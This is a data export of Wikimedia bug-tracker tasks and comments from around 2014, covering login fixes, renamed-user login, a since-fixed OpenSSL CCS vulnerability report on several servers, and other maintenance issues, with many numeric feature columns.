+314115,"Cannot login to Betalabs , showing Login error:Wikipedia uses cookies to log in users. You have cookies disabled. Please enable them and try again.","This was due to Beta's memcached configuration being out of sync with the memcached configuration. (And it was my fault for updating one and not the other.)
+
+You may have to clear your cookies, but it should work now.",,,1405446771,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-2ecu5hkbxnpywwzogogj,task_subcomment,,True,c3,1,True,,,-51,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+69995,Allow login in with pre-rename username and password,"As a user who has been renamed during SUL migration
+I want to login with my old name and password
+So I can continue to use the wiki
+
+As a user who has been renamed during SUL migration
+I want to know that I was renamed
+So I can learn my new name and/or ask for a new name
+
+Given that I authenticate with ""username"" and ""password""
+When ""password"" is not valid for ""username""
+  AND ""password"" is valid for ""username~<WIKI>""
+Then I am logged in as ""username~<WIKI>""
+  AND I am redirected to the SUL account renamed page
+  
+Given that I am logged in
+When I am redirected to the SUL account renamed page
+Then I am told my account was renamed to NEW_NAME
+  AND I am asked to log in using that name in the future
+  AND I am told how I can get my new account renamed
+  AND I am told why all this happened
+  AND I am given a link to the page I wanted to visit
+
+--------------------------
+**Version**: master
+**Severity**: enhancement",High,80.0,1405358040,1413574377.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,,False,PHID-TASK-wqzmihtsasotmpve57yz,task_description,resolved,True,c3,1,True,False,True,-51,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+312033,Allow login in with pre-rename username and password,"Change 148420 merged by jenkins-bot:
+Interstitial notification page for renamed users
+
+https://gerrit.wikimedia.org/r/148420",,,1413574391,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+312032,Allow login in with pre-rename username and password,"Change 156947 merged by jenkins-bot:
+Check for renamed user on login
+
+https://gerrit.wikimedia.org/r/156947",,,1411513624,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+312030,Allow login in with pre-rename username and password,"Change 147020 merged by jenkins-bot:
+Allow login with pre-rename username and password
+
+https://gerrit.wikimedia.org/r/147020",,,1411508899,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+312026,Allow login in with pre-rename username and password,"Change 156887 merged by jenkins-bot:
+Allow extensions to indicate a username doesn't exist
+
+https://gerrit.wikimedia.org/r/156887",,,1409870491,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+312020,Allow login in with pre-rename username and password,"(In reply to Chris Steipp from comment #5)
+> On a separate note, I wanted to document that this feature has slight
+> security implications. Since we're automatically changing the username on
+> login, there's a small (nearly impossible, but not entirely) chance we'll
+> change it to the wrong username, if two users have the same password. This
+> would be the same if pre-finalization, a local user came to a wiki and
+> ""accidentally"" logged into another person's account who happened to have the
+> same username and password.
+> 
+> Highly unlikely to have any real impact, but wanted to bring it up in case
+> it bothers anyone.
+
+I think I pointed that out somewhere, but maybe it was only as discussion in a meeting.  It is a fairly small new hole as the two users that are being confused must be USER and USER~wiki. Meaning the USER~wiki account is now exposed to brute force attacks on the USER account's password.",,,1409263205,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,True,,,-44,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+312011,Allow login in with pre-rename username and password,"I added a few patchsets (gerrit 156887 and gerrit 156947) to add a hook to core and use that in CentralAuth to fix the remaining use case that Bryan's patch didn't cover. This feels ugly, but I'm not sure we have a better solution.
+
+On a separate note, I wanted to document that this feature has slight security implications. Since we're automatically changing the username on login, there's a small (nearly impossible, but not entirely) chance we'll change it to the wrong username, if two users have the same password. This would be the same if pre-finalization, a local user came to a wiki and ""accidentally"" logged into another person's account who happened to have the same username and password.
+
+Highly unlikely to have any real impact, but wanted to bring it up in case it bothers anyone.",,,1409260392,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,True,,,-44,True,1,1,1,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+312002,Allow login in with pre-rename username and password,"Change 156947 had a related patch set uploaded by CSteipp:
+Check for renamed user on login
+
+https://gerrit.wikimedia.org/r/156947",,,1409258665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+311995,Allow login in with pre-rename username and password,"Change 156887 had a related patch set uploaded by CSteipp:
+[WIP] Allow extensions to indicate rename during login
+
+https://gerrit.wikimedia.org/r/156887",,,1409255422,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+311991,Allow login in with pre-rename username and password,"Change 148420 had a related patch set uploaded by BryanDavis:
+[WIP] Interstitial notification page for renamed users
+
+https://gerrit.wikimedia.org/r/148420",,,1406051936,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+311987,Allow login in with pre-rename username and password,"Change 147020 had a related patch set uploaded by BryanDavis:
+Allow login with pre-rename username and password
+
+https://gerrit.wikimedia.org/r/147020",,,1405572399,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wqzmihtsasotmpve57yz,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+69564,Lots of servers are vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224),"Originally I posted this issue under Bug 53259, but I find more and more vulnerable sites, so I think it is more appropriate to move to a new bug report.
+
+According to SSL Labs these servers are ""vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224) and exploitable"":
+
+* graphite.wikimedia.org
+* gdash.wikimedia.org
+* dumps.wikimedia.org
+* noc.wikimedia.org
+
+These are vulnerable but probably not exploitable:
+
+* ganglia.wikimedia.org
+* lists.wikimedia.org
+
+[1] https://www.ssllabs.com/ssltest/analyze.html?d=noc.wikimedia.org
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53259
+https://rt.wikimedia.org/Ticket/Display.html?id=7806",High,80.0,1404647820,1404849317.0,PHID-USER-arjqb24x4oae7awzpfp6,False,,False,PHID-TASK-cegbfozf5b64ain2rjqa,task_description,resolved,True,c3,1,True,False,True,-52,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+316959,Lots of servers are vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224),All of those and some more are fixed now. See also https://bugzilla.wikimedia.org/show_bug.cgi?id=53259#c26 .,,,1404849317,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cegbfozf5b64ain2rjqa,task_subcomment,,True,c3,1,True,,,-52,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+316953,Lots of servers are vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224),I reported your findings yesterday as RT 7806 and suggested that all hosts should be checked for missed libssl updates.,,,1404648697,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cegbfozf5b64ain2rjqa,task_subcomment,,True,c3,1,True,,,-52,True,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+69413,Use returnto as redirect location after Login,"For now, after a login the user will be redirected to the Main page of the Wiki-project. Save the returnto parameter of Loginpage and return to this location after successful login to be constistent with the ""normal"" login function.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1404306480,1404376499.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-xvgivdciq23cos4hmomy,task_description,resolved,True,c3,1,True,False,True,-53,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+309526,Use returnto as redirect location after Login,"Change 143633 merged by jenkins-bot:
+Add returnto redirect
+
+https://gerrit.wikimedia.org/r/143633",,,1404375473,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xvgivdciq23cos4hmomy,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+309521,Use returnto as redirect location after Login,"Change 143633 had a related patch set uploaded by Florianschmidtwelzow:
+Add returnto redirect
+
+https://gerrit.wikimedia.org/r/143633",,,1404319142,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xvgivdciq23cos4hmomy,task_subcomment,,True,c3,1,False,,,-53,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+69136,"Enable ""keep login"" in GoogleLogin Settings","If the user choose the login with Google he can not choose, if he want to keep the login.
+
+possible solution #1: Try to use the ""keep login"" from login form
+possible solution #2: Create a setting in Special:GoogleLogin to set this fix for the account connection
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1403796300,1404320345.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-fe6igmksnxvlowqftyk7,task_description,resolved,True,c3,1,True,False,True,-53,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+308681,"Enable ""keep login"" in GoogleLogin Settings","Change 143053 merged by jenkins-bot:
+Enable keep logged in
+
+https://gerrit.wikimedia.org/r/143053",,,1404319552,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fe6igmksnxvlowqftyk7,task_subcomment,,True,c3,1,False,,,-53,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+308677,"Enable ""keep login"" in GoogleLogin Settings","Change 143053 had a related patch set uploaded by Florianschmidtwelzow:
+[DO NOT MERGE] Enable keep logged in
+
+https://gerrit.wikimedia.org/r/143053",,,1404148076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fe6igmksnxvlowqftyk7,task_subcomment,,True,c3,1,False,,,-53,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+68765,graphite.wikimedia.org often goes down with HTTP 502 Bate Gateway errors due to overload,"As of late, half the time I'm trying to work with the graphs, some or all of the images on the page will be broken due to Bad Gateway errors.
+
+icinga-wm in #wikimedia-operations has also been reporting it
+
+icinga-wm: PROBLEM - graphite.wikimedia.org on tungsten is CRITICAL: HTTP CRITICAL: HTTP/1.1 502 Bad Gateway - 525 bytes in 0.002 second response time
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: critical",High,80.0,1403058120,1419353832.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-cu3bitxx6pkw6y4bbtcc,task_description,resolved,True,c3,1,True,False,True,-55,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+392475,graphite.wikimedia.org often goes down with HTTP 502 Bate Gateway errors due to overload,"part of ongoing scaling of graphite, see https://wikitech.wikimedia.org/wiki/Graphite/Scaling
+
+resolving",,,1419353832,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-cu3bitxx6pkw6y4bbtcc,task_subcomment,,True,c3,1,True,,,-28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0
+68574,MediaWiki:Loginprompt is no longer displayed on login page,"**Author:** `dan`
+
+**Description:**
+In versions 1.21 and previous versions MediaWiki:Loginprompt could be used to add useful information to the login page and we were using this in all our wikis in Moodle.
+
+Starting with version 1.22 -> 1.23 this message is no longer displayed in the new login page and we can not find a suitable replacement to add a message there.
+
+
+You can see the existing use of this:
+https://github.com/wikimedia/mediawiki-core/blob/REL1_21/includes/templates/Userlogin.php#L51
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal",High,80.0,1402647180,1408561836.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_description,resolved,True,c3,1,False,False,True,-55,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+308446,MediaWiki:Loginprompt is no longer displayed on login page,Will be included in the next 1.23.x release.,,,1408561836,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,True,,,-46,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+308443,MediaWiki:Loginprompt is no longer displayed on login page,"Change 146022 merged by jenkins-bot:
+Display MediaWiki:Loginprompt on the login page
+
+https://gerrit.wikimedia.org/r/146022",,,1408561785,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,False,,,-46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+308439,MediaWiki:Loginprompt is no longer displayed on login page,"Change 146022 had a related patch set uploaded by Legoktm:
+Display MediaWiki:Loginprompt on the login page
+
+https://gerrit.wikimedia.org/r/146022",,,1405316483,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,False,,,-51,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+308435,MediaWiki:Loginprompt is no longer displayed on login page,This is a 1.23 regression that will need a backport.,,,1405309160,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,True,,,-51,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0
+308432,MediaWiki:Loginprompt is no longer displayed on login page,"Change 139399 merged by jenkins-bot:
+Display MediaWiki:Loginprompt on the login page
+
+https://gerrit.wikimedia.org/r/139399",,,1405309076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,False,,,-51,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+308429,MediaWiki:Loginprompt is no longer displayed on login page,"Change 139399 had a related patch set uploaded by Talktodan:
+Display MediaWiki:Loginprompt on the login page
+
+https://gerrit.wikimedia.org/r/139399",,,1402673552,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,False,,,-55,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+308421,MediaWiki:Loginprompt is no longer displayed on login page,"**dan** wrote:
+
+I had seen that bug, but I don't see LoginPrompt mentioned in the release notes or any of documentation about removed messages:
+https://www.mediawiki.org/wiki/Account_creation_user_experience/Strings
+
+So assumed it was an unintentional loss of functionality.
+
+I'm not asking for support, I can implement this functionality locally, but non of the available strings are now appropriate for a longer description on the login page.",,,1402655942,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,False,,,-55,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+308414,MediaWiki:Loginprompt is no longer displayed on login page,"This changed in https://git.wikimedia.org/commitdiff/mediawiki%2Fcore.git/44840d15929d8ecfc1d7c31d6f7e86d873ac15a2 , see bug 46333 for reasons.
+
+This ticket sounds more like a support question to me actually than a bug? 
+You might want to ask on https://www.mediawiki.org/wiki/Project:Support_desk",,,1402655048,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7g3mpgvjrkml7nnz3vwk,task_subcomment,,True,c3,1,True,,,-55,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0
+68102,use one library for all http requests,"`requests` has been chosen as the http library for `pywikibot` v3.0 master.
+
+There are a few cases of urllib.urlopen (and others) being used in the pywikibot library code, and a number of scripts which use other http request routines.
+Multiple routines results in multiple configuration (e.g. proxy) and multiple sets of possible bugs/errors.
+
+All http activity should be provided by utility methods in `pywikibot.comms.http`, so it is easy to test and support them, and possibly use a different http library in the future if necessary.
+
+**See Also**: T71204",High,80.0,1401840000,1602939711.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-op3qd6kt6gjyskvy6mug,task_description,resolved,True,c3,1,True,False,False,-57,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+1483212,use one library for all http requests,"Change 588145 **merged** by jenkins-bot:
+[pywikibot/core@master] [bugfix] Re-enable script test for imageharvest.py
+
+[[https://gerrit.wikimedia.org/r/588145]]",,,1586690471,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,249,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1483193,use one library for all http requests,"Change 588145 had a related patch set uploaded (by Xqt; owner: Xqt):
+[pywikibot/core@master] [bugfix] Re-enable script test for imageharvest.py
+
+[[https://gerrit.wikimedia.org/r/588145]]",,,1586685111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,249,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1432542,use one library for all http requests,"I would focus on this task to avoid issues with urllib, urllib2, urllib3, httplib etc., which might be a cause for many other bugs we encounter",,,1580154034,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,238,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
